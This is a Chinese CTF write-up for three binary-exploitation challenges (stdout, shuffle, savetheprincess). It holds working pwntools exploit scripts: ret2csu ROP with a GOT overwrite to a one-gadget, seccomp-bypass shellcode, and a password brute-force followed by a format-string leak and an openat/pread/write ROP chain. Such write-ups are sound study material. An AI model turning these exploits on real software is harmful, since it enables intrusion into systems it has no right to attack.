文章目录
- stdout
- 测试
- setvbuf(stdout, 0LL, 2, 0LL)绕过
- 或者输出直到缓冲区满
- 使用system("/bin/sh")或者onegadget即使setvbuf(stdout, 0LL, 0, 0LL);也能立即有回显
- 参考[https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4](https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4)
- 思路
- exp
- shuffle
- exp
- savetheprincess
- pread
- 参数说明
- 返回值
- 示例代码
- exp
stdout
溢出返回到vuln
然后rop
测试
#include <stdio.h>
#include <stdlib.h>
int main() {
//setvbuf(stdout, 0LL, 0, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
char a[20];
printf("ouput1.\n");
gets(a);
printf("ouput2.\n");
return 0;
}
取消掉注释后
setvbuf(stdout, 0LL, 2, 0LL)绕过
#include <stdio.h>
#include <stdlib.h>
int main() {
setvbuf(stdout, 0LL, 0, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
char a[20];
printf("ouput1.\n");
gets(a);
setvbuf(stdout, 0LL, 2, 0LL);
printf("ouput2.\n");
gets(a);
return 0;
}
执行 setvbuf(stdout, 0LL, 2, 0LL);
可以看到之前的在缓冲区的上的已经输出
或者输出直到缓冲区满
使用system(“/bin/sh”)或者onegadget即使setvbuf(stdout, 0LL, 0, 0LL);也能立即有回显
#include <stdio.h>
#include <stdlib.h>
int main() {
setvbuf(stdout, 0LL, 0, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
char a[20];
printf("ouput1.\n");
gets(a);
//setvbuf(stdout, 0LL, 2, 0LL);
system("/bin/sh");
gets(a);
return 0;
}
#include <stdio.h>
#include <stdlib.h>
typedef void (*func_ptr)();
func_ptr onegadget;
int main() {
setvbuf(stdout, 0LL, 0, 0LL);
setvbuf(stdin, 0LL, 2, 0LL);
char a[20];
printf("ouput1.\n");
char* put_addr=&puts;
onegadget=put_addr-0x84420+0xe3afe;
asm("mov r12,0");
printf("%p",put_addr);
//setvbuf(stdout, 0LL, 2, 0LL);
onegadget();
//system("/bin/sh");
return 0;
}
发现可行
参考https://starrysky1004.github.io/2024/07/05/2024-shu-qi-xue-xi-ji-lu/#toc-heading-4
显式调用fflush函数
流被关闭(调用fclose)
程序正常结束(调用exit)
思路
gadget不够,用csu里的,通过rop的一个特殊gadget修改got表,然后利用gadget满足onegadget的条件,最后调用覆盖got表
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
# p=remote("8.147.128.163",16035)
# gdb.attach(p,"b main")
# pause()
elf=ELF("./pwn")
ret_addr=0x000000000040125D
stdout=0x0000000000404070
csu=0x00000000004013CA
setvbuf=elf.plt["setvbuf"]
read=elf.got["read"]
put=elf.plt["puts"]
print(hex(read))
rbp=8*b"\xff"
payload=b"a"*0x50+rbp+p64(ret_addr)
p.sendline(payload)
#payload=b"a"*0x1f+rbp+p64(csu)+p64(1)+p64(2)+p64(stdout)+p64(0)+p64(0)+p64(0)+p64(0x00000000004013B0 ) +p64(2)+p64(0)+p64(0)+p64(0)+p64(0)+p64(0)+p64(setvbuf)
# .text:00000000004013B0 mov rdx, r14
# .text:00000000004013B3 mov rsi, r13
# .text:00000000004013B6 mov edi, r12d
# .text:00000000004013B9 call ds:(__frame_dummy_init_array_entry - 403E10h)[r15+rbx*8]
# .text:00000000004013BD add rbx, 1
# .text:00000000004013C1 cmp rbp, rbx
# .text:00000000004013C4 jnz short loc_4013B0
# .text:00000000004013CA pop rbx
# .text:00000000004013CB pop rbp
# .text:00000000004013CC pop r12
# .text:00000000004013CE pop r13
# .text:00000000004013D0 pop r14
# .text:00000000004013D2 pop r15
# .text:00000000004013D4 retn
# 0x00000000004011fc : add dword ptr [rbp - 0x3d], ebx ; nop ; ret
#extent + csu
payload=b"a"*0x1f+rbp+p64(0x0000000000401287)+p64(csu)+ p64(0x5f6e4-6)+p64(0x0000000000404018+0x3d)+p64(0)+p64(0)+p64(0)+p64(0) +p64(0x00000000004011fc ) +p64(0x0000000000401287)
p.sendline(payload)
p.interactive()
shuffle
使用openat,mmap,writev读Flag或者openat preadv2 writev等等
零字节绕过shuffle(零字节之前不为零的不能超过一个即可)
然后写入shellcode即可(没有栈,通过mmap分配的内容作为栈,进而存储字符串和iovec这个结构体)
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
# p=remote("8.147.128.163",16035)
gdb.attach(p,"b main")
pause()
shellcode = '''mov eax,0 ''' #寄存器都被设置为零 push 0出现段错误
# shellcode += shellcraft.openat(0xffffff9c,"flag",0)#openat(AT_FDCWD,"flag",O_RDONLY)
# shellcode +=shellcraft.mmap(0,0x100,1, 1,3,0) #mmap(0,0x100,PROT_READ, MAP_SHARED,3,0)
# shellcode +=shellcraft.writev(1,'rax',0x100)
# 0x1337000: mov rax,0x0
# => 0x1337007: push 0x67616c66
# 0x133700c: mov rsi,rsp
# 0x133700f: mov edi,0xffffff9c
# 0x1337014: xor edx,edx
# 0x1337016: xor eax,eax
# 0x1337018: mov ax,0x101
# 0x133701c: syscall
# 0x133701e: push 0x1
# 0x1337020: pop r10
# 0x1337022: push 0x3
# 0x1337024: pop r8
# 0x1337026: xor r9d,r9d
# 0x1337029: xor edi,edi
# 0x133702b: mov esi,0x1010201
# 0x1337030: xor esi,0x1010301
# 0x1337036: mov rdx,r10
# 0x1337039: push 0x9
# 0x133703b: pop rax
# 0x133703c: syscall
# 0x133703e: push 0x1
# 0x1337040: pop rdi
# 0x1337041: xor edx,edx
# 0x1337043: mov dh,0x1
# 0x1337045: mov rsi,rax
# 0x1337048: push 0x14
# 0x133704a: pop rax
# 0x133704b: syscall
shellcode+='''
mov rdi,0
mov rsi,0x10
mov rdx,3
mov r10,0x22
mov r8,0xffffffff
mov r9,0
mov rax,0x9
syscall
mov rsp,rax
add rsp,24
push 0x67616c66
mov edi, 0xffffff9c
mov rsi, rsp
xor edx,edx
xor eax,eax
mov ax,0x101
syscall
mov rdi,0
mov rsi,0x100
mov rdx,1
mov r10,1
mov r8,3
mov r9,0
mov rax,0x9
syscall
push 0x20
push rax
mov rdi,0x1
mov rsi,rsp
mov rdx,1
mov rax,0x14
syscall
'''
payload=asm(shellcode)
p.sendline(payload)
p.interactive()
测试的如下,对照着写shellcode就行了
#include<stdio.h>
#include<unistd.h>
#include<sys/stat.h>
#include<fcntl.h>
#include<sys/types.h>
#include <sys/mman.h>
#include <errno.h>
#include <sys/uio.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>
int main()
{
int fd = openat(AT_FDCWD,"flag",O_RDONLY);
if(fd==-1){
printf("openat error!");
}
char*addr=mmap(0,0x100,PROT_READ, MAP_SHARED,fd,0);
char*addr_=mmap(NULL, 0x10, PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
write(1,addr,0x100);
struct iovec iov;
char str[] = "Hello ";
// 准备 iovec 结构体
iov.iov_base = str;
iov.iov_len = strlen(str);
// 使用 writev() 写入数据
ssize_t n = writev(1, &iov, 1);
return 0;
}
savetheprincess
openat+pread+write绕过
没有时间限制,也没有次数限制,可以爆破,26*7次,然后触发格式化字符串泄露canary和libc地址,然后溢出rop绕过沙箱
填充满buf,当输出buf时也会输出i从而判断是否i递增进而判断是否爆破该位正确
找不到控制第六个参数的gadget,mmap改成pread或者mprotect改栈为可执行权限,注意要页对齐,写shellcode使用openat,mmap,write读取flag
pread不能从终端输入,只能在之前加个泄露栈地址,然后flag名放栈上了
pread
pread()
函数在 Linux 和类 Unix 系统中用于从文件描述符指定的文件中读取数据,但与普通的 read()
函数不同,pread()
允许你指定从文件的哪个偏移量开始读取数据
pread()
的原型如下:
#include <unistd.h>
ssize_t pread(int fd, void *buf, size_t count, off_t offset);
参数说明
fd
: 文件描述符,指向要从中读取数据的文件。buf
: 指向缓冲区的指针,读取的数据将被存放到这个缓冲区中。count
: 要读取的字节数。offset
: 读取操作的起点偏移量,相对于文件的开始位置,单位是字节。
返回值
pread()
返回实际读取的字节数。如果读取失败,函数将返回 -1
并设置 errno
变量来指示错误原因。
示例代码
下面是一个使用 pread()
的示例代码:
#include <unistd.h>
#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
int main(void) {
int fd;
char buffer[100];
off_t offset = 100; // 从文件的第100字节开始读取
ssize_t bytes_read;
// 打开文件
fd = open("testfile.txt", O_RDONLY);
if (fd == -1) {
perror("open");
exit(EXIT_FAILURE);
}
// 使用 pread 从文件的特定位置读取数据
bytes_read = pread(fd, buffer, sizeof(buffer), offset);
if (bytes_read == -1) {
perror("pread");
close(fd);
exit(EXIT_FAILURE);
}
// 输出读取的数据
buffer[bytes_read] = '\0'; // 确保字符串以 null 字符终止
printf("Read %ld bytes: %s\n", bytes_read, buffer);
// 关闭文件描述符
close(fd);
return 0;
}
exp
from pwn import *
context(os='linux', arch='amd64', log_level='debug')
p = process('./pwn')
elf=ELF("./pwn")
lib = ELF('./libc.so.6')
# p=remote("8.147.128.163",16035)
gdb.attach(p,"b main")
pause()
password=""
for i in range(8):
for j in range(26):
p.sendlineafter(b"> \n",str(1))
pwd=password
pwd+=chr(ord("a")+j )
p.sendafter(b"please input your password: \n",pwd.ljust(10,"a"))
result=p.recvuntil(b"!!!\n",drop=True)
print(pwd," ",result)
print(i+1," ",result)
if b"successfully" in result:
password=pwd
print("suceessful")
payload=b"%9$p%11$p%10$p%15$p" # canary pie libc
p.send(payload)
break
if i+1 in result:
password=pwd
print("right")
break
print("error")
canary=int(p.recv(18),16)
pie=int(p.recv(14),16)-0x17be
stack=int(p.recv(14),16)+0xa8+0x10
libc=int(p.recv(14),16)-0x29d90
openat_add=lib.sym["openat"]+libc
pread_add=lib.sym["pread64"]+libc
write_add=lib.sym["write"]+libc
print(hex(canary),hex(pie),hex(libc))
p.sendlineafter(b"> \n",str(2))
pop_rdi=libc+0x000000000002a3e5
pop_rsi=libc+0x000000000002be51
pop_rdx_r12=libc+0x000000000011f2e7
pop_r10=pie+0x00000000000017d5
pop_r8_mov_rax_1=libc+0x00000000001659e6
pop_rax=libc+0x0000000000045eb0
syscall=libc+0x0000000000029db4
pop_rdx=libc+0x000000000003d1ee
payload=56*b"a"+p64(canary)+p64(0)+p64(pop_rdi) +p64(0xffffffffffffff9c)+p64(pop_rsi)+p64(stack)+p64(pop_rdx_r12)+p64(0)+p64(0)+p64(openat_add)
payload+=p64(pop_rdi)+p64(3)+p64(pop_rsi)+ p64(pie+0x4000)+p64(pop_rdx_r12)+p64(0x10)+p64(0x10)+p64(pop_rdx)+p64(0)+p64(pread_add)
payload+=p64(pop_rdi)+p64(1)+p64(pop_rsi)+ p64(pie+0x4000)+p64(pop_rdx_r12)+p64(0x10)+p64(0x10)+p64(write_add)
payload+=b"flag\x00"
p.sendlineafter(b"Attack the dragon!!\n",payload)
p.interactive()